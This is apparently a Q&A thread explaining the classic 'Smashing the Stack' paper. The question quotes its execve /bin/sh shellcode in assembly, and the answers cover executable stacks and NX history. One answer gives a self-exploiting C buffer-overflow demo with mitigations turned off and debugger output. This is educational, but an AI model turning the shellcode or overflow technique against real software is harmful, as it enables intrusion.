Why does this piece of code modify itself?

Question

I'm reading the famous "Smash the stack and profit" paper, and to reiterate, the whole point of the idea is to put some binary code in a buffer, overflows it to rewrite the return address (RET) and go from there.

In the middle of paper there is a picture for this:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
top of                                                            bottom of
stack                                                                 stack

And there is a code block with calculated offsets (because we have to manually count the bytes for JMP and CALL):

------------------------------------------------------------------------------
        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax       # 5 bytes
        movl   $0x0, %ebx       # 5 bytes
        int    $0x80            # 2 bytes
        call   -0x2b                    # 5 bytes
        .string \"/bin/sh\"     # 8 bytes
------------------------------------------------------------------------------

And then it says:

Looks good. To make sure it works correctly we must compile it and run it. But there is a problem. Our code modifies itself, but most operating system mark code pages read-only.

I got confused here and feel that I actually don't fully understand the idea. Here are my two questions:

Q1: Let's go back to the original idea (put binary code into buffer and rewrites RET to fire that binary code). I know that code lives in text segment, which is independent of stack and heap. So, even if we are able to rewrite the RET, how come the OS permits code run from stack? After all the binary code still lives in a buffer on stack.

Q2: Where does the code rewrite itself? My understanding is that, the code simply rewrites part of the stack:

• Step 1: popl top of stack to esi, but since this "code" is in the buffer, it is also sitting on top of the stack, so basically this means, I'm going to pass the base address of the string/buffer to esi
• Step 2: and then move a bunch of data to an offset of that address. The string/buffer is definitely larger than 0x8 or even oxc bytes, so that means the string itself got rewritten.

Is my understanding correct? I still don't see how this piece of code work, but I'll drill deeper whence the two questions are cleared.

Answer 1

Q1

The paper was written in 1996 (published on 8 November 1996 to be exact). In those days, it was the norm for the stack to be executable.

In fact, x86 CPUs of that era basically lacked the capability to make the stack non-executable. Nowadays this is done by setting the NX bit in the page table entries. But no such bit existed in the original 32-bit x86 architecture. An NX bit was only added as part of the 64-bit AMD64 extension, which didn't hit the market until 2003-2004, and of course older 32-bit chips remained in use for much longer still.

So in effect, on x86 platforms of those days, every page that was readable was also executable, and the hardware didn't support any way to change that.

The only way to make the stack non-executable would have been to use the x86 segmentation feature, instead of page-based protection. The OS could set up the segment descriptor for the CS segment with a limit value that would exclude the stack region. But this would be awkward, as it can't be done page-by-page; it would effectively just set a single "cutoff" address in memory, such that everything below that address is executable and everything above it is not. It could interfere with programs that, for whatever reason, wanted to use a more unusual memory layout. It would also run counter to Linux's general philosophy of not wanting to use the segmentation features, preferring a perfectly flat memory model as was common for most other Unix-like systems, and so would normally set the segment limit parameters to cover all of memory.

(It's important to note here that "segmentation", referring to the Intel/x86 memory protection feature, is unrelated to the platform-independent use of the word "segment" for generic regions of program memory like "code" and "data". It is also not directly related to the generic term "segmentation fault"; indeed, on typical x86 Unix platforms, most "segmentation faults" are really page faults, caused by the paging mechanism instead of x86 segment-based memory protection.)

There were legitimate uses for executing code from the stack, for things like trampolines. If I recall correctly, Linux's original mechanism for returning from signal handlers worked like this. GCC's "nested function" extension to the C language uses it too, and indeed I believe to this day you have to enable executable stack if you want to make full use of that extension.

Q2

You're right, the code does not modify itself in the sense of modifying its own instructions. But it writes to memory adjacent to itself, to construct the argument vector for execve. Since the code is going to be run from the stack, you can certainly think of this as "rewriting part of the stack".

The point that the author's making here is that because of this, the code can only be run from memory which is writable, such as the stack. This part of the paper is talking about how to test the shellcode, and the author is pointing out that it won't work to just assemble the asm source as a standalone program (slapping a main label at the top) and then run it. If we did that, then the code would be placed in the read-only code segment, and so the adjacent memory it tries to modify would be read-only as well, and the code would crash when it tried to write to it. So that's why the author goes through the additional steps of assembling the code, dumping it as hex bytes, and using it to populate a char shellcode[] array in a test program. The shellcode array would be in a writable static data section, not the stack, but that's still fine for testing purposes.

Answer 2

If I'm wrong at anything, someone please correct me.

• Q1: the current OSes or compilers (one of these. There are protections on the files themselves enabled by the compiler and others on the OS itself) have protection against running stuff on the stack - old ones didn't. Maybe whenever that paper was released the protection didn't exist yet or wasn't too used (around 1995 from the GCC copyright year?).

• Q2: It does indeed rewrite part of the stack with the mov instructions - because it was put on the stack. What I imagine the author was trying to exemplify with that is if you'd manage to rewrite the code section with the buffer overflow. Like maybe a long enough buffer that would get to the code section and rewrite part of it. Just doesn't make a lot of sense to me (I'm no expert whatsoever though. But still not sure why one would try to get to the code section like that anyway). Or maybe they could be saying that you could never put that code on the executable file itself (locally modify it), after all the code in it or in some place where it fits and then use the buffer overflow technique to get to it (instead of modifying the file too to have it just jump there instead of needing the overflow, which would end with the stack smashing idea... - added the code to the file, why not change the RET instruction on it too right there...). Both don't make a lot of sense to me, but they're the ones that come to my mind about this.

Answer 3

the paper is quiet old and the compilers have improved a lot
it my not be easy to churn out a byte for byte similar code with latest compilers
they may not even compile such code

it is better not to stick to word for word in the paper but move ahead and grasp the concept

a buffer overflow with copy functions happens
when the destination buffer is smaller than the source buffer.

when such an over flow happens the spill overwrites what already exists
and in doing so might overwrite important addresses like return addresses

if you carefully craft an address and overwrite a specific return address that already exists
with the crafted address you can divert the execution flow
this kind of diverted execution is called buffer overflow exploit

I will use msvc 2019 x86 in windows 10
to show a small self contained example
it exploits itself by using a fixed address to trash a original return address in stack

#define _CRT_SECURE_NO_WARNINGS
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void exploit(void){
    printf("i was exploited to print this by trashing a return address\n");
    exit(0);
}
// first 0x20 bytes will be copied to stackbuff the last 4 bytes  
// will trash the return address of main
void cpdat(char *cpbuff) {
    strcpy(cpbuff,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapq@\0");
    return; // this will return to main but main will not 
            // return to __scrt_common_main_seh+0xfa. 
            // instead main will return to  0x407170 or "pq@"
}
int main (void) {
    char stackbuff[0x20];   // this buffer will be local and will be in stack 
    cpdat(stackbuff);       // buffer overflow will trash the return address 
    return 0;               // this will return to (pq@\0 / 0x00407170) 
                            // and  the exploit function will be called 
}

compile and link with no GS cookies , no ASLR , no Relocation ,
so that the function exploit() always loads at a fixed address
in my case 0x00407170 or "pq@\0"

cl /Zi /GS- vuln.cpp /link /fixed /dynamicbase:no

on running the binary the exploit function will run without being called explicitly
but by implicit exploitation of a buffer overflow
which overwrote the original return address __scrt_common_main_seh+0xfa

:\>vuln.exe
no on called me but i still came here

stack trace when main is called

0:000> k
ChildEBP RetAddr
0019ff28 00407473 vuln!main
(Inline) -------- vuln!invoke_main+0x1c
0019ff70 773d00c9 vuln!__scrt_common_main_seh+0xfa
0019ff80 777a7b4e KERNEL32!BaseThreadInitThunk+0x19
0019ffdc 777a7b1e ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 ntdll!_RtlUserThreadStart+0x1b

as can be seen the return address that will be overwritten is as below

0:000> $$ the return address is 0x407473
0:000> dd @esp l4
0019ff2c  00407473 00000001 007884a0 0078fda0

we are at the start of main function

0:000> r
eax=00472f28 ebx=003d9000 ecx=00000000 edx=92fffefd esi=007884a0 edi=0078fda0
eip=004071b0 esp=0019ff2c ebp=0019ff70 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
vuln!main:
004071b0 55              push    ebp

lets run until the return and see where we are returning

0:000> pt
eax=00000000 ebx=003d9000 ecx=004662ac edx=00407170 esi=007884a0 edi=0078fda0
eip=004071c7 esp=0019ff2c ebp=61616161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
vuln!main+0x17:
004071c7 c3              ret

the original return address has been replaced by the overflown crafted address

0:000> dd @esp l4
0019ff2c  00407170 00000001 007884a0 0078fda0

notice the stack address 0x19ff2c

0019ff2c  00407473 00000001 007884a0 0078fda0 
now contains 
0019ff2c  00407170 00000001 007884a0 0078fda0

check what is the function it is returning to

0:000> ln poi(@esp)
(00407170)   vuln!exploit   |  (00407190)   vuln!cpdat
Exact matches:
    vuln!exploit (void)
0:000>